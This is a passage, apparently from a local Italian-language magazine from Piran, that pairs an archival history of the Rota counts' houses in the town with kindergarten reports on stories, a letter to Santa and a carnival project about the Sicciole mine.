concentrati, come già anticipato, nella --- Palazzo Rota Nell’Ottocento fu proprietà della famiglia; oggi albergo “Tartini” (foto: Joey Palaković) zona di “contrà Mol piccolo”, mentre successivamente, nel Settecento, essi saranno circoscritti in ‘contra’ Marciana. Tutto ebbe inizio con la prima moglie di Giovanni Paolo, Francesca Furegoni, la quale gli portò in dote nel 1632 una “casa vecchia a tre soleri con pozzo in contrà Mol piccolo” e altre due beni immobili, la “casa che fu del Soriani e una casetta con la scaletta in Calcariggi”, che al momento purtroppo non sono in grado di collocare più precisamente. Il 28 ottobre 1633 Giovanni Paolo acquistò da Niccolò Torre una casa per 559 ducati, la quale continuerà a essere di sua proprietà, perché viene citata nel suo testamento, redatto l’8 giugno 1658. Francesca Furegoni deterrà nel 1642 il suo testamento nella casa in “contrà Mol piccolo”, la stessa portata in dote. Dopo la morte della moglie, però, Giovanni Paolo intraprenderà una serie di scambi volti prima ad allargare e poi a frantumare le sue proprietà a Pirano. Il 23 giugno 1644 permuterà, ovvero, in seguito a uno scambio, acquisirà da Giovanni Furegoni una casa, posta sempre in “contrà Mol piccolo”, accanto a quella precedentemente comprata - si riferisce forse a quella che fu di Niccolò Torre - e vicina alla casa con il pozzo portata in dote dalla moglie. Nel 1651 venderà però a Antonio Zaccaria, di professione ‘medico fisico’, la casa con il pozzo pervenuta in dote dalla moglie. A questo punto risulta difficile fare delle conclusioni precise delle proprietà Rota a Pirano. Emerge solamente che il figlio di Giovanni Paolo, Simone, acquisì dopo la morte del padre i beni appartenuti alla madre, che non vengono però specificati, mentre nel 1680 doveva ancora dividere con il fratellastro Piero (nato dal secondo matrimonio con Giustina Caldana) tra le altre cose, la casa già citata del Torre, metà magazzino a Pirano e una porzione di casa nel rione di Marciana. Dai testamenti di Simone q. Giovanni Paolo e del figlio di lui, Antonio, emergono diverse interessanti notizie che riguardano Momiano e il Carso di Pirano (attuale circondario di Salvore), ma purtroppo tacciono per le proprietà in città. Pietro q. Giovanni Paolo, fratellastro di Simone, risulta essere il primo Rota a stabilirsi in modo continuativo a Pirano. Fino ad allora, infatti, tutti gli esponenti maschili della famiglia, anche se possedevano proprietà in città, vivevano nel castello di Momiano, li redigeranno le loro ultime volontà e vorranno essere sepolti nell’arca dei loro predecessori, cioè ai piedi dell’altare maggiore nella chiesa di San Martino. Pietro all’età di 67 anni - come anticipato - redigerà il suo testamento il 17 marzo 1723 nella sua “camera a Pirano”, ma da questo documento non affiora dove essa fosse collocata. Secondo il suo pronipote, l’erudito Stefano, fu il primo conte Rota a essere sepolto in città. Dei figli di Pietro, Alessandro e don Bernardino, disponiamo diverse informazioni, ma non i loro testamenti. Si presuppone che Alessandro vivesse a Pirano; sicuramente vi morì, in seguito alle ferite riportate dopo un agguato. Egli, infatti, il 27 settembre 1725 si diresse a cavallo a Momiano per amministrare i beni del padre ormai anziano e impossibilitato a muoversi. Prima di giungere al castello, in campagna, vicino alla strada pubblica fu raggiunto da una moschettata che lo colpì in varie parti della vita, le cui schegge rimbalzarono sia sulle mani sia sul viso. Fu innanzitutto curato dal chirurgo a Momiano e poi trasferito a Pirano, dove moriva il 30 novembre dello stesso anno. Maggiori notizie sono legate però al fratello di Alessandro, don Bernardino Rota, il quale comprerà diverse case poste nel rione di Marciana. Da questi atti di acquisto si apprende che la casa dominicale di don Bernardino, ovvero la sua casa di residenza e sicuramente anche quella del fratello Alessandro già deceduto, si trovavano in contrada Marciana. Il 29 marzo 1736 don Bernardino acquistò da Domenico Calcagno una “porzione di casa in contrada Marzana, contigua alla sua dominicale”. In cambio veniva ceduta a Calcagno una porzione di casa appartenuta a don Bernardino che si trovava vicino alla sua abitazione. Da qui si susseguono diversi acquisti del religioso Rota, concentrati sia in città sia a Buie. Il 2 settembre 1742 comprava dai fratelli Antonio e Giovanni Viezzioli q. Silvestro e dal cugino Antonio Viezzioli q. Francesco - evidentemente bisognosi di liquidi -, “due case di muro sollevate e coperta da copi poste vicino al Forno di Marzana”, che erano le rispettive loro dominicali, per 425 lire venete. Queste due case vennero però da don Bernardino subito cedute a livello francabile ai tre venditori. Esse infatti dovevano rientrare al termine della francazione ai Viezzioli. Giovanni Pietro Rota, figlio dello sventurato Alessandro vivrà pure in ‘contra’ Marciana, dove redigerà il suo testamento nel marzo 1762. Di lui non sappiamo molto ma emerge che venne sepolto nell’arca di famiglia a San Francesco. Il fratello di lui, don Alessandro, sarà invece protagonista nel giugno 1770 di un interessante scambio di proprietà con il capitano Pietro Tartini di Domenico, realizzato per sé e per il fratello Giuseppe assente. Questo documento, che sto ancora studiando, è ricco di informazioni e ci presenta un cambiamento nella locazione delle proprietà conosciute finora. Don Alessandro, in accordo con la cognata Andriana, vedova di Giovanni Pietro, permutò per sé e i nipoti diversi loro beni. in cambio delle proprietà dei Tartini, probabilmente situate in una zona ritenuta più importante e centrale di Pirano. Si trattava di “una casa di muro sollevata e coperta di coppi sita nella Riva del Molo Piccolo confinante in Sol levà con strada pubblica, in Ostro con il fondo scoperto denominato lo Squero e in sera [ovvero ponente, nda] e tramontana con la strada Consortial, più un fondo scoperto e una corte con pozzo”, valutati dagli architetti Giovanni Dongetti e Pietro Gregoretti in complessivi 2666 ducati\(^{17}\). Tale abitazione con gli annessi aveva un costo notevole e in cambio i Rota dovettero cedere ai Tartini diverse loro proprietà: due case unite poco distanti dalla chiesa di San Rocco (dal valore di 400 ducati), una casa con terrazza sopra la riva del mare (stimata da Giovanni Dongetti 1870 ducati), un terreno con olivi a San Bernardin (45 ducati), otto cavedinì di saline a Lera, ecc. Quello che apprendiamo in questo ultimo passaggio è molto interessante: la “casa con terrazza sopra la riva del mare” era niente meno che la dominicale dei conti Rota! Sicuramente si trovava nella contrada di Marciana ma il suo sito esatto, e se questa combaciasse con l’abitazione di residenza dei già citati conti Alessandro e don Bernardino, rimane un mistero. Le cose si complicano ulteriormente con il nipote di don Alessandro, il conte Stefano. Quest’ultimo sposò la nobile veneziana Agnese Negri, grazie alla quale confluirono in famiglia molteplici ricchezze. Morì già nel 1805 e dettò il suo testamento nella sua casa d’abitazione posta in “contrà Forni di Marzana”\(^{18}\), che secondo il mio parere dovrebbe essere equivalente con l’area denominata ‘Mol Piccolo’. La vedova Agnese divenne usufruttuaria e amministratrice dei beni di Stefano e appena dopo la sua morte questi sarebbero stati divisi tra i figli in egual porzione. In realtà, le proseguì la strada. Questa abitazione è oggi per intero occupata dall’albergo “Tartini” e si affaccia con il lato principale sulla via Zupančič. All’epoca della rilevazione e della realizzazione della mappa catastale, avvenuta verso il 1820, il palazzo Rota si presentava in isola, ovvero delimitato da ogni lato da una via. Probabilmente questa abitazione è quella permutata e acquisita dai Tartini nel 1770, ma sicuramente dovette essere in precedenza dei Furegoni perché il loro stemma appare scolpito al centro dell’architrave della porta che dà sul retro del palazzo. Esiste quindi la possibilità che si possa trattare della casa portata in dote nel 1632 da Francesca Furegoni e successivamente venduta nel 1651 da Giovanni Paolo Rota. Al numero 819 viene segnalata la corte che risulta delimitata sui tre lati da altre abitazioni. Il numero catastale 822 indica invece “una casa a pian terreno usata come bottega d’affitto”. Agnese Negri possedeva inoltre un’altra casa di tre piani con corte posta in ‘contrà’ San Niccolò. Questa abitazione, comprata in due tempi, una parte nel 1811 e l’altra nel 1813\(^{20}\), venne però ceduta al figlio Alessandro e fu da lui usata come luogo d’abitazione\(^{21}\). Ritornando alla dominicale di Agnese Negri, vedova Rota, oggi albergo “Tartini”, possiamo notare che il suo corpo di fabbrica non è perfettamente regolare, ma presenta un avancorpo rettangolare all’angolo destro, probabilmente risultato dell’unione di più abitazioni antiche. È questo però il palazzo dove nel 1824 nacque il conte Stefano Rota e dove egli visse fino alla sua morte nel 1916. Una pianta della citata abitazione è stata rinvenuta nell’Archivio di Pirano\(^{22}\) dalla dott.ssa Daniela Milotti Bertoni e questa venne sicuramente realizzata per definire e dividere la proprietà del palazzo di Agnese Negri in due parti uguali, rispettivamente tra sua figlia Regina Gabrielli e sua nuora Teresa Michieli, vedova di suo figlio Alessandro Rota. Grazie a questo schizzo e da un contratto di permuta successivo, datato 1 marzo 1853\(^{23}\), si apprende che la metà della casa Rota era di proprietà di Regina Gabrielli, mentre l’altra metà era del nipote Stefano Rota. Siccome Regina doveva trasferirsi nel suo nuovo alloggio e non aveva evidentemente più bisogno di questo appartamento, mentre Stefano avrebbe potuto vivere in un palazzo tutto --- **I Furegoni** Porta secondaria di palazzo Rota che dà sull’andrana. **A destra:** lo stemma del casato dei Furegoni al centro dell’architrave (foto: Joey Palakovič) suo, si venne a un compromesso. La “casa a pian terreno usata come bottega d'affitto”, esistente di fronte al palazzo di famiglia e contrassegnata con il n. 822 era anch'essa divisa (già dal 1831) tra Regina e Stefano. La parte segnalata con la lettera 'A' era di Regina, mentre la parte 'B' era di Stefano. Il conte cedette così la propria parte di magazzino alla zia e lei rinunciò a lui la sua parte di casa. È importante segnalare che l'edificio a un pian terreno indicato con il n. 822 non esiste più e al suo posto oggi si trova il giardinetto. Dal contratto di permuta dell'1 marzo 1853 si apprende inoltre che accanto al magazzino vi era "la nuova fabbrica dei fratelli Pietro e Francesco Gabrielli" i cui lavori dovevano concludersi a breve. Ciò permette di datare con precisione il palazzo Gabrielli e molto probabilmente la permutazione delle proprietà vicine può essere anche maturata con il desiderio di costruire l'ala sinistra del palazzo che ancora oggi risulta mancante. La pianta del palazzo Rota conservata nell'Archivio piranese ci permette di capire esattamente come fosse articolato interamente. Sia al pian terreno sia al primo e secondo piano, gli ambienti erano divisi in tre settori che combaciavano longitudinali a ogni livello. Il pian terreno era suddiviso in cinque ambienti e vicino, verso la corte, vi doveva essere una cisterna. Al primo piano si articolavano sei ambienti; qui doveva trovarsi una cucina con un camerino, il tinello, la stanza da ricevere e una camera da letto. Al secondo piano si snodavano invece altre sette stanze, probabilmente un tinello e diverse camere da letto. La scala che collegava i tre livelli era collocata lateralmente, mentre si poteva accedere nel palazzo da due ingressi disposti diametricamente uno di fronte all'altro, uno posizionato verso la corte, mentre l'altro dava sull'androne. Oggi quest'ultimo si presenta murato con lo stemma dei Furegoni al centro dell'architrave. Alcuni anni prima di morire, nel novembre 1913, il conte Stefano decise di dividere il suo palazzo di famiglia in due parte uguali tra le sue eredi: la figlia Maria Benedetti e la nipote Regina Samiz (figlia di sua figlia Clementina)\(^{24}\). Non si sa esattamente quando e, soprattutto, a chi le eredi vendettero il palazzo. Questo avvenne sicuramente dopo la sua morte. Terminava così la secolare presenza a Pirano dei conti Rota. --- **Pianta del palazzo Rota-Gabrielli** Realizzata dal perito agrimensore e architetto Bruno Cappillieri (8 settembre 1831) [Archivio regionale di Capodistria, Sezione di Pirano, Comune di Pirano, Periodo austriaco, b. 20] --- Note 1) L'incarico di bibliotecario venne ricoperto fino all'aprile 1887. Per maggiori informazioni relative alla Biblioteca si rimanda a: K. Knez, *La Biblioteca Civica di Pirano (1855-1956). Tra passione per la cultura e patriottismo*, in "Quaderni Giuliani di Storia", a. XXX, n. 1, Trieste 2009, pp. 139-151. 2) Informazioni interessanti sui Rota in: S. Rota, *Notizie sui tre casati di Momiano*, in "Archeografo Triestino", s. II, vol. XIII, II, Trieste 1887, pp. 259-278; M. Bonifacio, *Cognomi del Comune di Pirano e dell'Istria (III)*, Pirano 2000, pp. 226-233. 3) Per l'inventario si rimanda a M. Paoletti, *L'archivio privato Rota-Benedetti. Descrizione e inventariazione*, in "Atti del Centro di ricerche storiche di Rovigno", vol. XLV (in corso di pubblicazione). Desidero ringraziare la signora Benedetti, proprietaria del fondo, per la sua disponibilità e gentilezza. 4) M. Bonifacio, *Cognomi* cit., p. 232. 5) I testamenti segnalati nel presente contributo si conservano nell'Archivio privato Rota-Benedetti (= APRB), Contratti di nozze e testamenti, b. 4, fasc. 3. 6) *Ibidem*. 7) *Ibidem*. 8) *Ibidem*. 9) *Ibidem*. 10) *Ibidem*. 11) *Ibidem*. 12) APRB, *Momiano*, b. 1, fasc. 3. 13) Ivi, Pirano, b. 5, fasc. 2. 14) *Ibidem*. 15) Ivi, Contratti di nozze e testamenti, b. 4, fasc. 3. 16) Ivi, Pirano, b. 5, fasc. 3. 17) *Ibidem*. 18) Ivi, Contratti di nozze e testamenti, b. 4, fasc. 3. Archivio di Stato di Trieste (= ASTs), Catasto franceschino, Elaborati del Catasto franceschino, Distretto di Pirano, Comune di Pirano, fasc. 539.02. Questo toponimo potrebbe corrispondere all'area compresa nell'angolo tra la via Župančič e la via Engels dove oggi si trova un negozio di scarpe. Le mappe del Catasto franceschino, realizzate verso il 1820, collocano proprio in questo edificio gli unici due fabbricati economici "ad uso di cuocere il pane" riscontrati in tutta la 'contra' di Marciana. 19) ASTs, Catasto franceschino, Elaborati del Catasto franceschino, Distretto di Pirano, Comune di Pirano, fasc. 539.02. Le prime rilevazioni vennero concluse nell'aprile 1820. Cfr. ASTs, Catasto franceschino, Mappe catastali, Distretto di Pirano, fasc. 347. 20) APRB, *Membri della famiglia Rota e amministrazione delle proprietà* (documenti ottocenteschi), b. 6, fasc. 1. 21) La casa corrisponde al numero catastale 593. 22) Archivio regionale di Capodistria, Sezione di Pirano, Comune di Pirano, Periodo austriaco, b. 20. La pianta venne realizzata l'8 settembre 1831 dal perito agrimensore e architetto Bruno Cappillieri. 23) APRB, *Membri della famiglia Rota e amministrazione delle proprietà* (documenti ottocenteschi), b. 6, fasc. 5. 24) Ivi, Stefano Rota, figlio di Alessandro e Teresa Michieli, b. 6, fasc. 5.2. GLI ORSETTI E LE STREGHE SCUOLA DELL'INFANZIA "LA COCCINELLA", PIRANO SEZIONE DI LUCIA C'erano una volta dei piccoli Orsetti. Agli Orsetti piaceva tanto giocare all'aperto, soprattutto con le foglie degli alberi che l'autunno aveva dipinto e che erano cadute proprio lì, in mezzo al prato. Un giorno gli Orsetti decisero di costruire in campo giochi la loro casetta. Si rimboccarono le mani e fecero dei grandi mucchi di aghi caduti dai pini. Poi cominciarono a costruire le mura sistemando gli aghi in piccoli mucchi vicini vicini. Gli Orsetti entrarono nella loro casetta contenti ed orgogliosi del lavoro svolto. Ben presto, però, scoprirono che la loro casetta era troppo piccola per tutti quanti. Ormai erano grandi! Qualche Orsetto aveva la coda fuori dalla porta... Allora decisero di allargare la loro casetta! Questo, però, non era un lavoro facile, richiedeva un'ottima organizzazione! E gli Orsetti si divisero i compiti: c'era chi raccoglieva gli aghi e chi faceva il muratore, un Orsetto s'improvvisò falegname e pensò alle porte e dalle finestre, le Orsette raccolsero i fiori da mettere nel vaso sul tavolo della cucina e sul davanzale... Unendo le forze, la casetta fu presto finita. Oh no, non era più una casetta ma una casa con tanto di soggiorno, cucina, due bagni e ben due grandi camere da letto! Non mancavano nemmeno porte e finestre, i fiori in cucina, divano e tv. E davanti alla finestra c'era un piccolo orticello. Che bella che era la loro casetta! E ci stavano tutti comodi comodi. Dopo tanto lavoro gli Orsetti erano affamati e visto che la loro cucina non aveva ancora il gas, si ritirarono a pranzare nella loro scuola ripromettendosi di ritornare alla loro casa il giorno dopo. Scesa la sera, arrivò la notte, ma ben presto il sole si alzò di nuovo alto nel cielo. I piccoli Orsetti trotterellarono felici alla loro casetta ma, dove il giorno prima c'erano i fiori, il divano, le mura... trovarono solo tanti aghi sparpagliati qua e là! Gli Orsetti erano tanto tristi. La loro bella casa era distrutta. Chi poteva aver fatto questa atrocità? Oh, ma gli Orsetti sapevano di chi era la colpa! Sì, sì! Voi non lo sapete, ma proprio lì, in quel campo giochi, sotto il telo verde che copriva la sabbiera... vivevano le streghe! Quattro in punta di piedi, un Orsetto coraggioso andò in avanscoperta a controllare se le streghe fossero a casa. Ritornò presto con la notizia che stavano dormendo! In silenzio, i piccoli Orsetti preparano con i ramoscelli una trappola vicino alla casa delle streghe e poi... via di corsa! Il mattino dopo gli Orsetti andarono a controllare se la loro trappola avesse funzionato. Lentamente, in punta di piedi, si avvicinarono alla sabbiera e tra i ramoscelli della trappola... trovarono una calza! Ora le streghe non avrebbero osato far loro i dispetti! Presero la calza e portarono contenti il loro trofeo a scuola, in modo che le streghe non sapessero che la trappola era stata una loro idea. Ma quando arrivarono nella loro stanza... trovarono tutto sottosopra! Le streghe avevano fatto loro un altro dispetto! Gli Orsetti non si scoraggiarono: riordinarono la loro stanza e fecero dei disegni che appesero alle finestre per far capire alle streghe che loro erano in tanti, non le temevano e si volevano bene! Agli Orsetti non piacevano i dispetti e per far capire alle streghe che dovevano temerli, decisero di diventare a loro volta dei maghi e delle streghe. Impararono una canzone da cantare come maghi e streghe, prepararono le lanterne ed invitarono le mamme ed i papà a scuola. Armati di forbici, sacchi della spazzatura e cartoncini, le mamme ed i papà prepararono a loro gonne, mantelli e cappelli! Così, nel giorno di Halloween, i piccoli Orsetti diventarono dei veri maghi e delle vere streghe e portarono la luce dell'amicizia dovunque essi andarono. Da quel giorno le streghe della sabbiera non fecero più i dispetti agli Orsetti. In segno di pace le streghe regalarono a loro un miscuglio magico per addobbare le casette del villaggio nel loro angolino. E tutti giocarono nel campo giochi senza farsi i dispetti. Il gioco simbolico è una fase fondamentale della vita del bambino, attraverso il quale costruisce il proprio sviluppo cognitivo, sociale e affettivo. Si tratta di una forma di gioco che, attraverso la finzione, porta il bambino a sperimentare, mettere in atto, accrescere le abilità che lo qualificheranno come persona. Nel gioco simbolico il bambino esprime, mette alla prova e comprende le dinamiche di relazione, nonché sperimenta emozioni e sentimenti. Il Gruppo degli Orsetti e la maestra Karin Matijašić "STIAMO PERDENDO I VALORI!" SCUOLA DELL'INFANZIA "LA COCCINELLA", PIRANO SEZIONE DI SICCIOLE Stiamo perdendo i valori!, è una frase che si sente sempre più spesso. Ma noi no, non li stiamo perdendo. Noi li consolidiamo giorno dopo giorno. Le giornate sono diverse, le attività cambiano, i giochi si trasformano ma i valori restano e si stabilizzano nel nostro cuore. I valori e l'etica professionale sono le linee guida dei progetti educativi della nostra scuola dell'infanzia e li stiamo curando in modo particolare già da tre anni, da quando siamo inseriti nel progetto nazionale dell'Istituto dell'Etica e dei Valori Jože Trontelj. Abbiamo imparato che i valori possono venir espressi, disegnati e sentiti nel profondo della nostra anima, proprio così diventano reali e concreti. Ci fanno crescere e diventare persone consapevoli delle cose importanti della vita: giustizia, umanità, verità, responsabilità, ragionevolezza, affidabilità, tradizioni, fedeltà, pace, rispetto, uguaglianza, sicurezza... Cresciamo con questi valori e li porteremo con noi per tutta la vita, un po' come quando si impara a guidare la bicicletta. Nell'ambito del nostro progetto è nata anche la storia *Il bambino con il palloncino*: Il bambino ha tanti amici e due maestre. Una mattina, all'asilo, le maestre decidono di andare a fare una lunga passeggiata. Ogni bambino riceve un palloncino. Questo palloncino è proprio speciale, perché riesce a volare. "Non devo proprio farmelo scappare", dice il bambino. "Devo tenerlo forte tra le mie mani". Ad un tratto inizia a soffiare, il bambino sta per perdere il suo palloncino, ma riesce ad acchiapparlo. Al primo amico il palloncino vola via, in alto nel cielo. Al secondo amico il palloncino scoppià fra le mani. Al terzo amico, il palloncino vola così in alto, ma così in alto che ad un tratto scompare. Quasi tutti rimangono senza il palloncino. Solamente il bambino ed il suo migliore amico riescono a riportarlo all'asilo. "Aver cura delle cose a cui teniamo non è sempre facile!", dice la maestra. "Voi due siete stati gli unici a riportare il palloncino all'asilo. Bambini, siete d'accordo se regaliamo a loro due la medaglia e così facendo premiamo il loro impegno?" "Sì!" esclamano i bambini. "Questo è il giorno più bello della mia vita!" dice il bambino con la sua medaglia. Il bambino racconta alla mamma tutta la storia e spiega il motivo del premio. La mamma, fiera del bambino gli dice: "Adesso ho capito che sei pronto per andare a scuola!" La mamma orgogliosa e il bambino soddisfatto vanno a casa sorridendo felici. Un grazie particolare va alla collega Mariela Batista, assieme a lei i progetti nascono e crescono. *Sara Bičič, educatrice* **IL GRUPPO DEGLI AQUILONI, UN GRUPPO DI VINCITORI** *SCUOLA DELL'INFANZIA "LA COCCINELLA", PIRANO SEZIONE DI LUCIA* Con la creazione di un albero di cartone, il gruppo degli Aquiloni ha partecipato al concorso *Delaj eko - ohrani čebelo in smreko*, promosso da Hofer e Medex. La giuria ha decretato cento vincitori, tra i quali si sono classificati anche gli Aquiloni. Non è stato facile raggiungere un tale risultato, poiché a partecipare c'erano tantissime scuole elementari e scuole dell'infanzia di tutta la Slovenia. I bambini sono orgogliosi di aver raggiunto un risultato così importante e soddisfacente. Tutto il loro impegno è stato ripagato! I bambini hanno creato l'albero usando la fantasia, la creatività e del materiale di recupero. L'albero rappresenta la casa di alcuni animali, protagonisti di un racconto trattato durante le attività didattiche, legati da un'amicizia profonda e sincera. La storia narra dell'importanza della collaborazione e del saper condividere i beni materiali in modo giusto ed equo con gli altri. Il leitmotiv di questo bellissimo racconto è diventato anche il motto del gruppo degli Aquiloni: "Tutti condividiamo, tutto condividiamo, e, tra di noi, ci aiutiamo!" L'albero è stato esposto nel negozio Hofer a Isola per tutto il mese di dicembre. Inoltre, per ammirare la creazione degli Aquiloni si può accedere anche al sito web Eko Smreka: www.eko-smreka.si/galerija-slika.php?image=1289f9b7dae16f41034320fac7ea0a45.jpg. Il gruppo degli Aquiloni ringrazia di cuore gli organizzatori per il premio ricevuto. *Il Gruppo degli Aquiloni e l'educatrice Anja Segulin* **LETTERA A BABBO NATALE** *SCUOLA DELL'INFANZIA "LA COCCINELLA", PIRANO SEZIONE DI LUCIA* Un giorno, parlando delle feste natalizie e dell'arrivo di Babbo Natale, a Blanka è venuta un'idea: "Maestra, possiamo scrivere una lettera a Babbo Natale?" "Siiii, scriviamo una lettera a Babbo Natale", hanno esclamato i bambini del gruppo degli Aquiloni. Caro Babbo Natale! Noi siamo il gruppo degli Aquiloni e siamo già grandi. Le maestre dicono che sei molto bravo e buono. Sappiamo che hai il vestito rosso e bianco. La tua barba è... bianca e molto lunga. Abbiamo sentito che ogni anno porti tanti doni ai bambini buoni. Verrai a trovare anche noi? Vieni da noi Aquiloni, per favore! Siamo davvero bravi! Tutti i giorni ci aiutiamo tra di noi, condividiamo i giochi, cantiamo, balliamo, disegniamo, coloriamo, incolliamo, ecc. Come puoi notare, facciamo davvero tante cose. Sai che cosa ci piacerebbe ricevere per Natale? Oskar: Desidero una macchina telecomandata. Leila: Desidero che la nonna venga a prendermi in asilo. Noemi, Melania e Valentina desiderano una Barbie. Luciano, Tai, Mark e Oskar Dar desiderano ricevere un camion dei vigili del fuoco. Lavinia: Voglio stare con il mio papà. Mia: Desidero un topolino. Blanka ed Eva desiderano che Babbo Natale scelga da solo un giocattolo per loro. Caro Babbo Natale, ti saremmo grati se potessi portare tanta salute, allegria e gioia alle nostre famiglie. Non dimenticarti di Nanghiro e di altri bambini poveri. Visita anche loro, per piacere. Ti promettiamo di continuare a essere bravi e ubbidienti. Vieni a trovarci presto, non vediamo l'ora di incontrarti. Ti mandiamo un grande bacio e – come dice il nostro amico Olaf – un caldo abbraccio. Con affetto, i tuoi amici Aquiloni Dopo aver scritto la lettera, i bambini hanno deciso di preparare un piatto con dei biscotti e un bicchiere con il succo di frutta per il mitico Babbo Natale e di portare il tutto nel campo giochi dell'asilo, vicino alle finestre della stanza del gruppo. I bambini, impazienti di vedere Babbo Natale, si affacciavano di continuo alla finestra; ma il furbo Babbo Natale non si è fatto vedere. Dopo il riposo pomeridiano, i bambini si sono recati nuovamente alle finestre per dare un'occhiata. Non potevano credere ai loro occhi: Babbo Natale era arrivato mentre stavano riposando. Aveva mangiato tutti i biscotti, aveva bevuto il succo e aveva risposto alla lettera. I loro occhi brillavano dall'emozione. Entusiasti dell'accaduto, hanno incominciato a ballare e a cantare. Il Gruppo degli Aquiloni e l'educatrice Anja Segulin Babbo Natale è venuto a trovarci SCUOLA DELL'INFANZIA “LA COCCINELLA”, PIRANO SEZIONE DI LUCIA All'inizio di dicembre il gruppo degli Aquiloni ha creato insieme alle maestre un calendario a forma di Babbo Natale. Ogni giorno che passava i bambini, incollandolo l'ovatta sul calendario, facevano crescere la barba a Babbo Natale, contando così i giorni che li separavano dall'incontro con lui. Alla domanda chi sia Babbo Natale gli Aquiloni hanno risposto: Babbo Natale ha il berretto rosso e bianco (Leila). Ha la barba bianca e molto lunga (Luciano). Il suo vestito è rosso (Noemi). Porta i regali ai bambini buoni (Melania, Tai e Oskar Dar). È gentile perché ci porta tanti regali (Val). Viene a trovare solo i bambini bravi (Mark e Liza). Ha un sacco pieno di regali (Oskar). Le renne tirano la slitta di Babbo Natale (Blanka). Un giorno, però, gli Aquiloni hanno ricevuto una sorpresa. Babbo Natale ha letto la loro lettera ed è arrivato dal lontano e freddo Polo Nord con un sacco rosso pieno di doni per loro. I bambini, entusiasti e felici della visita, hanno augurato all'ospite tanto atteso e gradito buone feste con la seguente canzone natalizia: Auguri di bugari di Buon Natale! Auguri di Buon Natale! Auguri di Buon Natale A mamma e papà! Mangiamo il panettone! Mangiamo il panettone! Mangiamo il panettone E brindiamo al Natale! Auguri di Buon Natale! Auguri di Buon Natale! Auguri di Buon Natale E di un anno seren! Il gruppo degli Aquiloni augura a tutti un meraviglioso 2016! Il Gruppo degli Aquiloni COM’È BELLO POTER DIRE: “ABBiamo VINTO!” SCUOLA DELL’INFANZIA “LA COCCINELLA”, PIRANO SEZIONE DI SICCIOLE Perdendo le tradizioni si perde la cultura, si perde tutto ciò che l’uomo ha creato nel tempo in un determinato territorio. Per ricordare un’attività importante del paese in cui viviamo, che in passato ha unito persone del luogo, quelle provenienti da paesi vicini e più lontani, abbiamo deciso di risvegliare quello che un tempo era l’orgoglio della nostra località. Veniamo da Sicciole, rappresentiamo la Scuola dell’infanzia “La Coccinella” e ci presentiamo all’ottava sfilata del Carnevale Istriano di Portorose presentando il faticoso lavoro del minatore. Brez ohranjanja tradicij ni kulturne dediščine. Ravno zaradi tega smo se odločili, da ne bomo pozabili na vrednote, ki so včasih povezovale ljudi, ne glede na to od kod so prihajali. Radi bi obudili del tradicije, ki je nekoč predstavljal ponos delavnih ljudi v Šecovljah – Šecovelski rudnik. Prihajamo iz Šecovlej, iz vrta – Scuola dell’infanzia “La Coccinella” in se s ponosom predstavljamo na osmem Istrskem Karnevalu, v vlogi rudarjev in njihovih težkih delovnih pogojev. Abbiamo dedicato un mese intero alla realizzazione di questa storia speciale. Riciclando tantissimi chili di cartone e di giornale abbiamo costruito un tunnel lungo 10 metri, i caschi dei minatori, gli attrezzi da lavoro e, ovviamente, non potevamo mancare i carrelli, senza i quali in passato era impossibile trasportare il carbone... Abbiamo vissuto la fatica del lavoro per sentire la soddisfazione della vittoria. Siamo veramente fieri di collaborare con genitori così disponibili che ci sostengono. Senza il loro aiuto non ce l’avremmo mai fatta. Dalla voglia di stare assieme e di creare un’esperienza unica per i nostri bambini abbiamo capito che la ricompensa per tutto l’impegno investito è quella sensazione indescrivibile di felicità che ti riscalda dentro, che ti fa star bene, che ti da soddisfazione. Noi ci siamo uniti – bambini, genitori e maestre – ed abbiamo capito che assieme si può fare tanto e se nel fare ci mettiamo anche il cuore tutto diventa più semplice e divertente. Združili smo se, ker povezani zmoremo veliko več in vse je veliko lažje. Un grazie particolare va anche alle insegnanti che ci hanno aiutato quando ne avevamo più bisogno: Špela, Kristina e Lučka. Le insegnanti Sara, Mariela e Veronika DA UNA SEMPLICE IDEA NASCE UN PROGETTO ETNOLOGICO SCUOLA DELL’INFANZIA “LA COCCINELLA”, PIRANO SEZIONE DI SICCIOLE Certe volte non basta avere solo un obiettivo da raggiungere per avere successo ma c’è bisogno di ben altro; la voglia di crescere, di stare insieme e il desiderio di vincere. È nato proprio così il nostro progetto, dall’idea di un anno fa quando ci siamo ripromessi di ripetere la grande avventura carnevalasca. Siamo partiti muniti solo del titolo “Il minatore” e non sapevamo ancora a cosa andavamo incontro. Già dall’inizio si sentiva l’unione tra bambini, insegnanti, genitori, nonni, amici, bidelli, ecc. Abbiamo iniziato con la collaborazione attiva di tutti, grandi e piccini, cercando proposte, idee, suggerimenti che ci servivano per pianificare la realizzazione delle nostre attività. Visto l’interesse e il forte coinvolgimento di tutti non ci restava altro che studiare nei minimi particolari la storia e le tradizioni del nostro paese. Le prime domande che sorgevano erano proprio quelle che ci aiutavano a capire quanto doveva essere profonda la nostra ricerca, quanti particolari era giusto evidenziare e quanto avremmo dovuto allargare il nostro orizzonte. Alla fine ci siamo lasciate guidare da coloro che dovevano vivere il progetto in modo sereno, cioè dai bambini stessi. Oltre al sapere volevamo trasmettere loro anche la gioia e il divertimento. È nato così un fantastico gioco. Un gioco tra interviste, passeggiate, esplorazione e attività programmate e svolte in sezione. Siamo diventati dei veri ricercatori. Abbiamo visitato lo stabile abbandonato della miniera e i suoi dintorni. Visto da un adulto il posto è abbandonato, dimenticato da tutti, non curato. Però noi abbiamo la fortuna di avere accanto gli occhi dei nostri bambini attraverso i quali la miniera di una volta si è colorata di colori più allegri. Le grandi ruote abbandonate giravano su e giù per il prato, gli scivoli montati sullo stabile erano così attraenti, ma noi non potevamo usarli perché erano troppo lontani ed i folletti che vivono nell’edificio della miniera giocavano con noi a nascondino. Le nostre visite erano frequenti ed ogni volta si aggiungeva qualcosa di nuovo alla nostra avventura. Seduti di fronte al grande edificio siamo riusciti a riprodurlo nei nostri disegni per portarlo all’asilo. Abbiamo fatto quello che gli adulti chiamano ex tempore. Era difficile capire che sotto terra, proprio in quel posto, lavoravano una volta i minatori. Così sono sorte tantissime domande alle quali non potevamo rispondere da soli. Abbiamo capito di aver bisogno di aiuto, più precisamente di altre persone che, in seguito, abbiamo invitato a collaborare con noi. Grazie all’aiuto professionale dell’insegnante Massimo Medeor, che ringraziamo caldamente, siamo riusciti a fare una ricerca dettagliata sulla miniera di Sicciolo. Lui aveva già guidato un progetto sulla miniera nell’anno scolastico 2014-2015 presso la SE “Vincenzo e Diego de Castro”. Il signor Branko Pavlović è venuto a raccontarci la sua esperienza di minatore. È venuto da lontano a vivere nella nostra 